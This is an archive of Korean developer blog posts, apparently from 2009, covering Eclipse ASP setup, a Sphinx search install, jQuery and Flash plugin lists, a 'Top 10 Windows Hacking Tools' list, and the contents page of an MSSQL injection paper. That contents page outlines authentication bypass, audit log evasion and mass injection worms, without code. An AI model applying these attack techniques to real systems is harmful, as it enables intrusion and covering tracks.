        offset = document.cookie.indexOf(search)
        if (offset != -1) { // 쿠키가 존재하면
            offset += search.length
            // set index of beginning of value
            end = document.cookie.indexOf(";", offset)
            // 쿠키 값의 마지막 위치 인덱스 번호 설정
            if (end == -1)
                end = document.cookie.length
            return unescape(document.cookie.substring(offset, end));
        }
    }
 }

//문자 바꾸기, 사용법 var str = 문자열.replaceAll("a", "1"); 
String.prototype.trim = function(){
    return this.replace(/(^\s*)|(\s*$)/gi, "");
}

String.prototype.replaceAll = function(str1, str2) {
    var temp_str = "";
    if (this.trim() != "" && str1 != str2) {
        temp_str = this.trim();
        while (temp_str.indexOf(str1) > -1){
            temp_str = temp_str.replace(str1, str2);
        }
    }
    return temp_str;
}
</script>

2009/08/01 10:42 2009/08/01 10:42

한때 웹을 주름잡았던 ASP는 점점 퇴행길을 가고 하지만, 아직도 ASP개발은 곳곳에서 많이 이루어지고 있다.
ASP는 나름대로 프레임워크도 있고, IDE툴을 이클립스를 사용하며 SVN으로 형상관리도 할 수 있다.
ASP 프레임워크는 기회가 있을때 공개를 하기로 하고, 이클립스에서 ASP를 개발하는데 필요한 셋팅에 대해서 알아보자.


이클립스는 CVS를 기본 지원하며 SVN과도 궁합이 잘 맞아 형상관리가 쉽게 된다.

또 outline에 Class나 Function, Sub들이 나타나기 때문에 한눈에 소스 전체를 파악하기도 좋다.

특히나 FTP를 많이 사용할 경우 Aptana의  FTP Synchronize기능을 이용하여 별도의 FTP 없이 이클립스에서 자동으로 업로드/다운로드를 할수 있다.

단순하게 텍스트 에디트를 사용한다면 한번쯤 이클립스 사용을 도전해 보는것도 좋다.

사용자 삽입 이미지

1. 이클립스 다운로드

WTP all-in-one 버전을 받는것이 좋다. 물론 그 전에 Java를 사용하든 안하든 반드시 설치 해야 한다.

Java는 http://java.sun.com 에서 다운받을 수 있고, 이클립스 WTP all-in-one은 http://eclipse.org/downloads 에서 다운 받을 수 있다.
이 상태로도 프로젝트를 생성해서 ASP개발 할 수 있지만 구문강조 및 SVN지원을 위해서 몇가지 플러그인을 더 설치해야 한다.



2. SVN 플러그인 설치
이클립스는 기본적으로 CVS를 지원해 주지만, SVN을 사용하려면 SVN 플러그인을 설치해야 한다.
플러그인은 URL Update 기능을 이용하여 설치할 수 있다.
이클립스를 실행한 후,
Help > Software Updates > Fine and install > Search for new features to install > Next > New Remote Site 로 이동한 다음,

Name에 Subversive를 입력하고, URL에  http://www.polarion.org/projects/subversive/download/update-site 를 입력 한다.



3. Aptana 플러그인 설치

요즘 Ajax 때문에 Javascript를 많이 사용하게 되는데, 버전별 호환성이라던지 Javascript Framework를 사용할 때 자동완성 기능을 제공 해 주는 플러그인이다.
설치법은 SVN 플러그인과 같다.

Name은 Aptana, URL은 http://update.aptana.com/install/ 를 입력한다.



4. EcliipseColorer 설치

ASP 구문강조를 위해서 필요한 플러그인이다.

ASP 구문에 구문강조를 해 주고, Outline에 Class, Function, Sub 리스트를 보여 주는 역할을 한다.

Name은 EclipseColorer, URL은 http://colorer.sf.net/eclipsecolorer/ 를 입력한다.

2009/08/01 10:23 2009/08/01 10:23
Top 10 Windows Hacking Tools
This is the Collection of Best Windows Hacking Tools:


1. Cain & Abel – Cain & Abel is a password recovery tool for the Microsoft Windows Operating System. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.

http://www.oxid.it/cain.html

2. SuperScan – SuperScan is a powerful TCP port scanner, pinger, resolver. SuperScan 4 (Current Version) is a completely-rewritten update of the highly popular Windows port scanning tool, SuperScan.

http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&subcontent=/resources/proddesc/superscan.htm

3. GFI LANguard Network Security Scanner – GFI LANguard N.S.S. is a network vulnerability management solution that scans your network and performs over 15,000 vulnerability assessments. It identifies all possible security threats and provides you with tools to patch and secure your network. GFI LANguard N.S.S. was voted Favorite Commercial Security Tool by NMAP users for 2 years running and has been sold over 200,000 times!

http://www.gfi.com/adentry.asp?adv=814&loc=3

4. Retina – Retina Network Security Scanner, recognised as the industry standard for vulnerability assessment, identifies known security vulnerabilities and assists in prioritising threats for remediation. Featuring fast, accurate, and non-intrusive scanning, users are able to secure their networks against even the most recent of discovered vulnerabilities.

http://www.eeye.com/html/Products/Retina/index.html

5. SamSpade – SamSpade provides a consistent GUI and implementation for many handy network query tasks. It was designed with tracking down spammers in mind, but can be useful for many other network exploration, administration, and security tasks. It includes tools such as ping, nslookup, whois, dig, traceroute, finger, raw HTTP web browser, DNS zone transfer, SMTP relay check, website search, and more.

http://www.samspade.org/ssw/

6. N-Stealth – N-Stealth is a commercial web server security scanner. It is generally updated more frequently than free web scanners such as whisker and nikto, but you have to pay for the privilege.

http://www.nstalker.com/nstealth/

7. Solarwinds – Solarwinds contains many network monitoring, discovery and attack tools. The advanced security tools not only test internet security with the SNMP Brute Force Attack and Dictionary Attack utilities but also validate the security on Cisco Routers with the Router Security Check. The Remote TCP Reset remotely display all active sessions on a device and the Password Decryption can decrypt Type 7 Cisco Passwords. The Port Scanner allows testing for open TCP ports across IP Address and port ranges or selection of specific machines and ports.

http://www.solarwinds.net/

8. Achilles – The first publicly released general-purpose web application security assessment tool. Achilles acts as a HTTP/HTTPS proxy that allows a user to intercept, log, and modify web traffic on the fly. Due to a cyber squatter, Achilles is no longer online at its original home of www.Digizen-Security.com…OOPS!

http://www.mavensecurity.com/achilles/

9. CookieDigger - CookieDigger helps identify weak cookie generation and insecure implementations of session management by web applications. The tool works by collecting and analyzing cookies issued by a web application for multiple users. The tool reports on the predictability and entropy of the cookie and whether critical information, such as user name and password, are included in the cookie values.

http://foundstone.com/resources/proddesc/cookiedigger.htm

10. Netcat (The Network SwissArmy Knife) – Netcat was originally a Unix utility which reads and writes data across network connections, using TCP or UDP protocol. It is designed to be a reliable “back-end” tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities.

http://www.atstake.com/research/tools/network_utilities/
2009/07/31 21:54 2009/07/31 21:54
최근 Milw0rm 사이트에 다양한  유형의 MSSQL Injection 공격 기법에 대해서 설명해 놓은 페이퍼가 올라왔습니다. 보기 드물만큼 아주 좋은 페이퍼여서 TXT파일을 PDF로 변환하여 올립니다.

다음은 페이퍼 목차입니다.


|=--------------------------------------------------------------------=|
|=----------------=[  Full MSSQL Injection PWNage  ]=-----------------=|
|=-----------------------=[ 28 January 2009 ]=------------------------=|
|=---------------------=[  By CWH Underground  ]=---------------------=|
|=--------------------------------------------------------------------=|


######
Info
######

Title : Full MSSQL Injection PWNage
Author : ZeQ3uL && JabAv0C
Team    : CWH Underground [www.milw0rm.com/author/1456]
Website : cwh.citec.us / www.citec.us
Date : 2009-01-28


##########
Contents
##########

  [0x00] - Introduction

  [0x01] - Know the Basic of SQL injection

[0x01a] - Introduction to SQL Injection Attack
[0x01b] - How to Test sites that are Vulnerable in SQL Injection
[0x01c] - Bypass Authentication with SQL Injection
[0x01d] - Audit Log Evasion
[0x01e] - (Perl Script) SQL-Google searching vulnerable sites

  [0x02] - MSSQL Normal SQL Injection Attack

[0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
[0x02b] - ODBC Error Message Attack with "CONVERT"
[0x02c] - MSSQL Injection with UNION Attack
[0x02d] - MSSQL Injection in Web Services (SOAP Injection)

  [0x03] - MSSQL Blind SQL Injection Attack

[0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection
[0x03b] - Determine data through Blind SQL Injection
[0x03c] - Exploit Query for get Table name
[0x03d] - Exploit Query for get Column name

  [0x04] - More Dangerous SQL Injection Attack

[0x04a] - Dangerous from Extended Stored Procedures
[0x04b] - Advanced SQL Injection Techniques
[0x04c] - Mass MSSQL Injection Worms

  [0x05] - MSSQL Injection Cheat Sheet

  [0x06] - SQL Injection Countermeasures

  [0x07] - References

  [0x08] - Greetz To

2009/07/16 19:59 2009/07/16 19:59
내 블로그나 홈페이지에 검색엔진을 장착해 보고 싶다면 엔진으로 스핑크스(Sphinx)를 선택해보는 것도 좋을 것 같습니다. 오픈 소스이고 PHP, Perl, C/C++, 등의 프로그래밍 언어 API 를 제공하고 있으므로 PHP 로 개발된 텍스트큐브와 같은 설치형 블로그에 검색을 붙이려면 PHP 용 API 를 이용하며 될 것입니다. 이미 텍스트큐브에도 검색이 있지만 레코드수가 많아서 검색해야할 항목이 많아질 경우 검색 시간이 많이 소요되고 복잡한 조건의 검색을 할 수 없는 문제가 있습니다. 개발언어를 다룰 수 있다는 조건 하에 스핑크스 검색엔진을 사용해볼 것을 권해봅니다.
스핑크스 검색엔진이 어떤 것인지 체험 해보려면 간단히 아래에 설명하는 방법으로 설치하고 테스트 해보면 됩니다. 참고로 리눅스 CetOS 5.x 에서 테스트 되었습니다. 물론 소스 코드가 공개 되어 있으므로 윈도우즈와 다른 리눅스, 유닉스 계열 OS 를 사용할 수 있습니다.

[root@sphinx ~]# yum -y install mysql-devel
[root@sphinx ~]# cd /usr/local/src
[root@sphinx src]# wget http://www.sphinxsearch.com/downloads/sphinx-0.9.8.1.tar.gz
[root@sphinx src]# tar xvzf sphinx-0.9.8.1.tar.gz
[root@sphinx src]# cd sphinx-0.9.8.1
[root@sphinx sphinx-0.9.8.1]# ./configure
[root@sphinx sphinx-0.9.8.1]# make
[root@sphinx sphinx-0.9.8.1]# make install

위와 같이 설치하면 아래와 같은 스핑크스 관련 파일들이 기본 폴더(/usr/local/bin)에 설치됩니다.

  /usr/local/bin/indexer
  /usr/local/bin/searchd
  /usr/local/bin/search
  /usr/local/bin/spelldump

또한 아래와 같은 설정 파일 샘플과 MySQL 용 SQL 샘플이 설치됩니다.

 /usr/local/etc/sphinx.conf.dist
 /usr/local/etc/sphinx-min.conf.dist
 /usr/local/etc/example.sql

MySQL 에 접속해서 테스트용 데이타베이스(test) 를 만들고 user 와 password 를 만들고 이 데이타베이스(test)에 권한을 부여 합니다. test로 데이타베이스를 정할 경우 이미 생성되 있으므로 권한 부여만 합니다.

[root@sphinx sphinx-0.9.8.1]# mysql -uroot -p
Enter password: ********
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 116
Server version: 5.0.45 Source distribution
 
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
 
mysql> grant all privileges on test.* to user@"localhost" identified by "password";
Query OK, 0 rows affected (0.05 sec)

mysql> flush privileges;
Query OK, 0 rows affected (0.01 sec)
 
mysql> exit
Bye
[root@sphinx sphinx-0.9.8.1]#

데이타베이스 설정이 완료 되었으면 스핑크스 셋팅 파일을 만들어줍니다.

[root@sphinx sphinx-0.9.8.1]# vi /usr/local/etc/sphinx-min.conf.dist
[root@sphinx sphinx-0.9.8.1]# cp /usr/local/etc/sphinx-min.conf.dist /usr/local/etc/sphinx.conf
[root@sphinx sphinx-0.9.8.1]# cat /usr/local/etc/sphinx.conf
#
# Minimal Sphinx configuration sample (clean, simple, functional)
#
source src1
{
        type                                    = mysql
 
        sql_host                                = localhost
        sql_user                                = user
        sql_pass                               = password
        sql_db                                  = test
        sql_port                                = 3306  # optional, default is 3306
 
        sql_query                               = \
                SELECT id, group_id, UNIX_TIMESTAMP(date_added) AS date_added, title, content \
                FROM documents
 
        sql_attr_uint                   = group_id
        sql_attr_timestamp              = date_added
 
        sql_query_info                  = SELECT * FROM documents WHERE id=$id
}
index test1
{
        source                                  = src1
        path                                    = /var/data/test1
        docinfo                                 = extern
        charset_type                    = sbcs
}
indexer
{
        mem_limit                               = 32M
}
searchd
{
        port                                    = 3312
        log                                             = /var/log/searchd.log
        query_log                               = /var/log/query.log
        read_timeout                    = 5
        max_children                    = 30
        pid_file                                = /var/log/searchd.pid
        max_matches                             = 1000
        seamless_rotate                 = 1
        preopen_indexes                 = 0
        unlink_old                              = 1
}
[root@sphinx sphinx-0.9.8.1]#

나의 데이타베이스 설정에 맞게 위와 같이 설정이 완료되면 아래와 같이 스핑크스에서 제공하는 샘플 테이블을 MySQL 에 만들어줍니다. 그리고 커멘드라인 프로그램 indexer 를 실행해서 검색을 위한 인덱스를 생성합니다. 인덱싱이 완료 되면 커멘드라인 프로그램 search 를 실행해서 검색을 할 수 있습니다.

[root@sphinx sphinx-0.9.8.1]# mysql -uroot -p test < /usr/local/etc/example.sql
Enter password: ********
[root@sphinx sphinx-0.9.8.1]# mkdir /var/data
[root@sphinx sphinx-0.9.8.1]# indexer test1
[root@sphinx sphinx-0.9.8.1]# search number
Sphinx 0.9.8.1-release (r1533)
Copyright (c) 2001-2008, Andrew Aksyonoff
 
using config file '/usr/local/etc/sphinx.conf'...
index 'test1': query 'number ': returned 3 matches of 3 total in 0.000 sec
 
displaying matches:
1. document=1, weight=1, group_id=1, date_added=Sat Dec  6 11:42:12 2008
        id=1
        group_id=1
        group_id2=5
        date_added=2008-12-06 11:42:12
        title=test one
        content=this is my test document number one. also checking search within phrases.
2. document=2, weight=1, group_id=1, date_added=Sat Dec  6 11:42:12 2008
        id=2
        group_id=1
        group_id2=6
        date_added=2008-12-06 11:42:12
        title=test two
        content=this is my test document number two
3. document=4, weight=1, group_id=2, date_added=Sat Dec  6 11:42:12 2008
        id=4
        group_id=2
        group_id2=8
        date_added=2008-12-06 11:42:12
        title=doc number four
        content=this is to test groups
 
words:
1. 'number': 3 documents, 3 hits
 
[root@sphinx sphinx-0.9.8.1]#

위와 같이 인덱싱이 완료되고 search 커멘드라인 명령어를 이용해 "number" 라는 검색어(키워드)로 검색하면 검색결과 3개의 문서가 검색되었다고 알려줍니다.
PHP 로 검색엔진을 제어하기 위해 아래와 같이 검색 데몬(searchd)을 띄우고 PHP 용 API 를 이용해서 검색할 수 있습니다.

[root@sphinx sphinx-0.9.8.1]# /usr/local/bin/searchd
Sphinx 0.9.8.1-release (r1533)
Copyright (c) 2001-2008, Andrew Aksyonoff
 
using config file '/usr/local/etc/sphinx.conf'...
creating server socket on 0.0.0.0:3312
[root@sphinx sphinx-0.9.8.1]# cd api
[root@sphinx api]# php test.php number
Query 'number ' retrieved 3 of 3 matches in 0.000 sec.
Query stats:
    'number' found 3 times in 3 documents
 
Matches:
1. doc_id=4, weight=100, group_id=2, date_added=2008-12-06 11:42:12
2. doc_id=1, weight=1, group_id=1, date_added=2008-12-06 11:42:12
3. doc_id=2, weight=1, group_id=1, date_added=2008-12-06 11:42:12
[root@sphinx api]#

위와 같이 검색 데몬 searchd 를 띄우고 샘플 PHP 소스 파일 test.php 를 실행하면 검색 결과를 확인할 수 있습니다. 샘플 소스 상단을 보면 sphinxapi.php 라는 파일을 Include 합니다. 이것이 PHP 용 API 입니다.

간단하게 스핑크스를 설치하고 테스트도 해봤습니다. 이제 내 블로그 데이터를 인덱싱하고 이를 검색할 수 있도록 검색 페이지를 만드는 일만 남았습니다.

오픈 소스 검색 엔진 스핑크스(Sphinx) 홈페이지
    - http://www.sphinxsearch.com/
스핑크스(Sphinx)로 PHP로 커스텀 검색 엔진 구현하기
    - http://www.ibm.com/developerworks/kr/library/os-php-sphinxsearch/index.html

2009/07/16 18:14 2009/07/16 18:14

플래시 포토 갤러리 23가지 모음-Flash Photo Gallery

플래시 포토갤러리 입니다. 예전에 이미 소개시켜드렸던 것도 있습니다.

맘에 드시는거 있으시면 데모페이지에서 확인후 다운받으시면 됩니다.
대분 압축파일로 모든소스가 첨부되어있으니 다운받아서 소스파일 수정하시면 되겠죠.
각 제목을 클릭하시면 해당소스의 상세내용을 확인할수 있습니다.

페이지의 구분이 없는것들은 한페이제 다 있는것들 입니다.






AutoViewer

Full 데모페이지   400*300 데모페이지    다운로드페이지





Zen Flash Gallery

데모페이지   다운로드페이지





Free Flash & XML Slideshow Photo Gallery

데모페이지  





SimpleViewer

Full 데모페이지1    Full 데모페이지2     480*680 데모페이지     다운로드페이지





Agile Gallery

Flash 데모페이지     AJAX 데모페이지       다운로드페이지





Free Flash Photo Album

데모페이지      다운로드페이지





Flash Page Flip Photo Gallery template for Picasa

데모페이지1   데모페이지2     다운로드페이지





Flash Photo Browser






Polaroid Gallery

데모페이지





PostcardViewer

데모페이지   다운로드페이지





Flash Photo Gallery

데모페이지    다운로드페이지





Free Photo Gallery v.2






Flash Slide Show Maker

데모페이지   다운로드페이지






Flashmo






Invert Media Flash Photo Gallery 1.0






Slideroll






Tahilt






FlShow

데모페이지1   데모페이지2  데모페이지3     다운로드페이지





WS-Slide show

데모페이지   다운로드페이지





Art Flash Gallery

데모페이지    다운로드페이지





PhotoViewerFree




 via: stayupdate
2009/07/16 17:14 2009/07/16 17:14
 -Jquery 플러그인 모음 이거한방이면 끝..!! : http://www.seek-blog.com/41065/14090/240-plugins-jquery.html

 -light box(이미지 미리보기,pre,next) : http://leandrovieira.com/projects/jquery/lightbox/

 -이미지 스크롤 : http://benjaminsterling.com/2007/09/09/jquery-jqgalscroll-photo-gallery/

 -이미지 싸이클 : http://www.malsup.com/jquery/cycle/

 -BlockUI Plugin(processing,처리중 등등,confirm!) :  http://www.malsup.com/jquery/block/#element

 -UI Modal : http://jquery.com/demo/thickbox/

 -플래쉬 플러그인 삽입 : http://jquery.lukelutman.com/plugins/flash/#examples

 -Photo Slider Tutorial : http://opiefoto.com/articles/photoslider#example

 -jScrollPane : http://kelvinluck.com/assets/jquery/jScrollPane/jScrollPane.html

 -Accessible News Slider  : http://www.reindel.com/accessible_news_slider/#examples

 - unobtrusive tabs(탭메뉴) : http://stilbuero.de/jquery/tabs/#fragment-29
      http://www.sunsean.com/idTabs/#t3

 -jQuery Ajax Link Checker : http://troy.dyle.net/linkchecker/

 -jQuery Form Plugin  : http://malsup.com/jquery/form/#code-samples

 -jquery.suggest, an alternative jQuery based autocomplete library(자동완성)
  http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/
  http://nodstrum.com/2007/09/19/autocompleter/

 -jlook(폼객체 리뉴얼)  :

  http://envero.org/jlook/

 -jQuery - LinkedSelect(멀티 select) :

  http://www.msxhost.com/jquery/linked-selects/json/

 -Masked Input Plugin    : (입력포맷 확인)
  http://digitalbush.com/projects/masked-input-plugin
  http://www.appelsiini.net/projects/jeditable/default.html

 -Overlabel with JQuery(박스안에 워터마킹처리)  : http://scott.sauyet.com/xxJavascript/Demo/Overlabel/

 -Styling an input type="file"(파일찾기 이미지 처리)
   http://www.quirksmode.org/dom/inputfile.html

 -jQuery UI Datepicker v3.0 Examples(달력)
  http://marcgrabanski.com/code/ui-datepicker/

 -jQuery Validation Plugin(폼체크,포커싱)
  http://jquery.bassistance.de/validate/demo-test/ 
  http://www.texotela.co.uk/code/jquery/focusfields/
 
 -jQuery columnHover plugin(컬럼 하이라이트/컬럼 컨트롤)
  http://p.sohei.org/stuff/jquery/columnhover/demo/demo.html
  http://p.sohei.org/stuff/jquery/columnmanager/demo/demo.html

 -tablesorterDocumentation(테이블 순서)
  http://tablesorter.com/docs/index.html 

 -jQuery Accordion Demo(컨테이너 예제)
  http://jquery.bassistance.de/accordion/?p=1.1.1

 -jQPanView based in jQuery 1.1(이미지 확대보기)
  http://projects.sevir.org/storage/jpanview/index.html

 -jQuery Impromptu(confirm!,alert! 등등)
  http://trentrichardson.com/Impromptu/

 -jqGrid Examples(그리드)
  http://trirand.com/jqgrid/jqgrid.html#

 -Toggle HTML-Elements with jQuery
  http://jquery.andreaseberhard.de/toggleElements/

 -UI/Sortables(테이블 위치변경 ^^)
  http://docs.jquery.com/UI/Sortables

 -뉴스 슬라이더(부분보기,전체보기)
  http://www.reindel.com/accessible_news_slider/

 -로컬 스크롤러
  http://www.freewebs.com/flesler/jQuery.LocalScroll/

 -핫키 테스트
  http://jshotkeys.googlepages.com/test-static.html

 -슬라이더
  http://docs.jquery.com/UI/Slider/slider

 -쇼핑카트
  http://www.mimul.com/pebble/default/2007/10/30/1193753340000.html

 -테이블 소트
  http://www.mimul.com/pebble/default/2007/11/06/1194348600000.html

 -이미지 나중에 로딩시키기  http://www.mimul.com/pebble/default/2007/11/10/1194695220000.html

 -오토탭(입력시 폼객체 자동넘김)
  http://dev.lousyllama.com/autotab/

 -실시간 폼객체 수정
  http://www.appelsiini.net/projects/jeditable/custom.html

 -프린트
  http://www.designerkamal.com/jPrintArea/#
 -차트
  http://www.reach1to1.com/sandbox/jquery/jqchart/

 -CSS Dock Menu (Jquery + CSS)
  후니넷에서 보삼
 -툴팁
  http://www.codylindley.com/blogstuff/js/jtip/

 -XML데이터 뿌리기
  http://blog.reindel.com/src/jquery_browse/
  http://www.xml.com/pub/a/2007/10/10/jquery-and-xml.html
  http://www.mimul.com/pebble/default/2006/11/05/1162710000000.html

 -Clearing Form

  http://www.learningjquery.com/2007/08/clearing-form-data

 --암호 복잡성 체크

  http://phiras.googlepages.com/PasswordStrengthMeter.html

 --Form Serialize

  http://dev.jquery.com/wiki/Plugins/FastSerialize

 --GetString 퍼라미터 가져오기
  http://www.mathias-bank.de/2006/10/28/jquery-plugin-geturlparam/

 --검색 후 콤보생성(ajax with combo) 아주 유용함
  http://extjs.com/deploy/ext/examples/form/forum-search.html
  http://extjs.com/deploy/ext/examples/grid/edit-grid.html-->그리드

 --파일 업로드(input=file) 리폼
  http://www.appelsiini.net/projects/filestyle/demo.html

Jquery Best
 http://www.spicyexpress.net/general/jquerry-at-it-best-downloadable-jquerry-plugins-and-widgets-for-you-2/

웹디자인 템플릿트(2.0)
 -http://www.templateworld.com/free_templates.html

----------------------------------------
Jquery tag cloud
http://www.ajaxrain.com/tagcloud.php
Jquery 기본설명
http://www.zzbb.kr/34
----------------------------------------

^^Star Rater(순위) --활용가능성 높음
http://www.m3nt0r.de/devel/raterDemo/

^^ AJAX CALLING --활용가능성 높음
http://cgaskell.wordpress.com/2006/11/02/jquery-ajax-call-and-result-xml-parsing/

--AJAX 아이디 중복체크 - 활용가능성 아주높음
http://www.shawngo.com/gafyd/index.html

^^ jQuery framework plugins which provide a way to sort and nest elements in web applications, using drag-and-drop(테이블드래그앤드랍) --활용가능성 중간
http://code.google.com/p/nestedsortables/

^^Simple tableSorter(리스트 정렬) 활용가능성 중간
http://motherrussia.polyester.se/docs/tablesorter/

^^Cookie 활용가능성 높음
http://www.stilbuero.de/2006/09/17/cookie-plugin-for-jquery/

^^태깅 --그냥한번보자..ㅎ
http://www.alcoholwang.cn/jquery/jTaggingDemo.htm

^^죽이는 어코디언 메뉴
http://dev.portalzine.de/index?/Horizontal_Accordion--print

^^ AJAX Indicator 이미지
http://qureyoon.blogspot.com/2006/11/make-your-own-loading-gif.html

----------------------------------------
2007.12.28 찾은것
----------------------------------------
http://rikrikrik.com/jquery/quicksearch/#usage
http://nadiaspot.com/jquery/confirm!/#examples
http://host.sonspring.com/portlets/
http://jquery.andreaseberhard.de/toggleElements/
http://www.getintothis.com/pub/projects/rb_menu/
http://icon.cat/software/iconDock/0.8b/dock.html
http://www.nuernberg.de/internet/portal/index.html
http://rikrikrik.com/jquery/shortkeys/#examples
http://rikrikrik.com/jquery/pager/#examples
http://famspam.com/facebox/ --라이트박스같은것
http://www.andreacfm.com/
http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/ --autocomplete
http://www.gcmingati.net/wordpress/wp-content/lab/jquery/newsticker/jq-liscroll/scrollanimate.html - 뉴스 스크롤
http://d-scribe.de/webtools/jquery-pagination/demo.htm# --페이징
http://tinymce.moxiecode.com/example_full.php?example=true --Open Source WYSWYG 웹 에디터
http://www.laptoptips.ca/projects/tinymce-advanced/ --Open Source WYSWYG 웹 에디터 advanced
http://extjs.com/ -또다른 RIA xxJAVASCRIPT 프레임워크
http://www.digital-web.com/extras/jquery_crash_course/ -jquery로 만든 비행 예약 시스템 데모(Passenger Management )
http://markc.renta.net/jquery/ --jquery 간단예제
http://www.xml.com/pub/a/2007/10/10/jquery-and-xml.html?page=2 -jquery와 XML
http://www.stilbuero.de/2006/09/17/cookie-plugin-for-jquery/  -쿠키 플러그인
http://jquery.com/files/demo/dl-done.html --간단한 어코디언 메뉴
http://mjslib.org/doc/legacy/fieldgroup.html --폼필드 컨트롤
http://extjs.com/deploy/dev/examples/tree/two-trees.html --트리
http://www.amcharts.com/column/ - 차트(바로 사용^^)
http://particletree.com/features/rediscovering-the-button-element/ - 버튼 스타일링
http://www.i-marco.nl/weblog/jquery-accordion-menu/ - 실용성 높은 어코디언 메뉴

http://www.sastgroup.com/jquery/240-plugins-jquery
http://jquery.bassistance.de/jquery-getting-started.html

2009/07/16 16:58 2009/07/16 16:58

File upload


Ajax File Upload

jQUploader

Multiple File Upload plugin

jQuery File Style

Styling an input type file

Progress Bar Plugin


Form Validation


jQuery Validation


Auto Help

Simple jQuery form validation

jQuery XAV - form validations

jQuery AlphaNumeric

Masked Input

TypeWatch Plugin

Text limiter for form fields

Ajax Username Check with jQuery


Form - Select Box stuff


jQuery Combobox

jQuery controlled dependent (or Cascadign) Select List

Multiple Selects

Select box manipulation

Select Combo Plugin

jQuery - LinkedSelect

Auto-populate multiple select boxes

Choose Plugin (Select Replacement)


Form Basics, Input Fields, Checkboxes etc.


jQuery Form Plugin

jQuery-Form

jLook Nice Forms

jNice

Ping Plugin

Toggle Form Text

ToggleVal

jQuery Field Plugin

jQuery Form’n Field plugin


jQuery Checkbox manipulation

jTagging

jQuery labelcheck

Overlabel

3 state radio buttons

ShiftCheckbox jQuery Plugin

Watermark Input

jQuery Checkbox (checkboxes with imags)

jQuery SpinButton Control


jQuery Ajax Form Builder

jQuery Focus Fields

jQuery Time Entry


Time, Date and Color Picker


jQuery UI Datepicker

jQuery date picker plugin

jQuery Time Picker

Time Picker

ClickPick


TimePicker

Farbtastic jQuery Color Picker Plugin

Color Picker by intelliance.fr


Rating Plugins


jQuery Star Rating Plugin

jQuery Star Rater

Content rater with asp.net, ajax and jQuery

Half-Star Rating Plugin


Search Plugins


jQuery Suggest

jQuery Autocomplete

jQuery Autocomplete Mod

jQuery Autocomplete by AjaxDaddy

jQuery Autocomplete Plugin with HTML formatting

jQuery Autocompleter

AutoCompleter (Tutorial with PHP&MySQL)

quick Search jQuery Plugin


Inline Edit & Editors


jTagEditor

WYMeditor

jQuery jFrame

Jeditable - edit in place plugin for jQuery

jQuery editable

jQuery Disable Text Select Plugin

Edit in Place with Ajax using jQuery


jQuery Plugin - Another In-Place Editor

TableEditor

tEditable - in place table editing for jQuery


Audio, Video, Flash, SVG, etc


jMedia - accessible multi-media embedding

JBEdit - Ajax online Video Editor

jQuery MP3 Plugin

jQuery Media Plugin

jQuery Flash Plugin


Embed QuickTime

SVG Integration


Photos/Images/Galleries


ThickBox

jQuery lightBox plugin

jQuery Image Strip

jQuery slideViewer

jQuery jqGalScroll 2.0

jQuery - jqGalViewII


jQuery - jqGalViewIII

jQuery Photo Slider

jQuery Thumbs - easily create thumbnails

jQuery jQIR Image Replacement

jCarousel Lite

jQPanView

jCarousel

Interface Imagebox

Image Gallery using jQuery, Interface & Reflactions


simple jQuery Gallery

jQuery Gallery Module

EO Gallery

jQuery ScrollShow

jQuery Cycle Plugin

jQuery Flickr

jQuery Lazy Load Images Plugin

Zoomi - Zoomable Thumbnails

jQuery Crop - crop any image on the fly


Image Reflection


Google Map


jQuery Plugin googlemaps

jMaps jQuery Maps Framework

jQmaps

jQuery & Google Maps

jQuery Maps Interface forr Google and Yahoo maps

jQuery J Maps - by Tane Piper


Games


Tetris with jQuery

jQuery Chess

Mad Libs Word Game

jQuery Puzzle

jQuery Solar System (not a game but awesome jQuery Stuff)


Tables, Grids etc.


UI/Tablesorter

jQuery ingrid


jQuery Grid Plugin

Table Filter - awesome!

TableEditor

jQuery Tree Tables

Expandable “Detail” Table Rows

Sortable Table ColdFusion Costum Tag with jQuery UI

jQuery Bubble


TableSorter

Scrollable HTML Table

jQuery column Manager Plugin

jQuery tableHover Plugin

jQuery columnHover Plugin

jQuery Grid

TableSorter plugin for jQuery

tEditable - in place table editing for jQuery

jQuery charToTable Plugin


jQuery Grid Column Sizing

jQuery Grid Row Sizing


Charts, Presentation etc.


jQuery Wizard Plugin 

jQuery Chart Plugin

Bar Chart


Border, Corners, Background


jQuery Corner

jQuery Curvy Corner


Nifty jQuery Corner

Transparent Corners

jQuery Corner Gallery

Gradient Plugin


Text and Links


jQuery Spoiler plugin

Text Highlighting

Disable Text Select Plugin

jQuery Newsticker


Auto line-height Plugin

Textgrad - a text gradient plugin

LinkLook - a link thumbnail preview

pager jQuery Plugin

shortKeys jQuery Plugin

jQuery Biggerlink

jQuery Ajax Link Checker


Tooltips


jQuery Plugin - Tooltip


jTip - The jQuery Tool Tip

clueTip

BetterTip

Flash Tooltips using jQuery

ToolTip


Menus, Navigations


jQuery Tabs Plugin - awesome! [demo nested tabs]


another jQuery nested Tab Set example (based on jQuery Tabs Plugin)

jQuery idTabs

jdMenu - Hierarchical Menu Plugin for jQuery

jQuery SuckerFish Style

jQuery Plugin Treeview

treeView Basic

FastFind Menu

Sliding Menu

Lava Lamp jQuery Menu


jQuery iconDock

jVariations Control Panel

ContextMenu plugin

clickMenu

CSS Dock Menu

jQuery Pop-up Menu Tutorial

Sliding Menu


Accordions, Slide and Toggle stuff


jQuery Plugin Accordion


jQuery Accordion Plugin Horizontal Way

haccordion - a simple horizontal accordion plugin for jQuery

Horizontal Accordion by portalzine.de

HoverAccordion

Accordion Example from fmarcia.info

jQuery Accordion Example

jQuery Demo - Expandable Sidebar Menu

Sliding Panels for jQuery

jQuery ToggleElements


Coda Slider

jCarousel

Accesible News Slider Plugin

Showing and Hiding code Examples

jQuery Easing Plugin

jQuery Portlets

AutoScroll

Innerfade


Drag and Drop


UI/Draggables

EasyDrag jQuery Plugin

jQuery Portlets

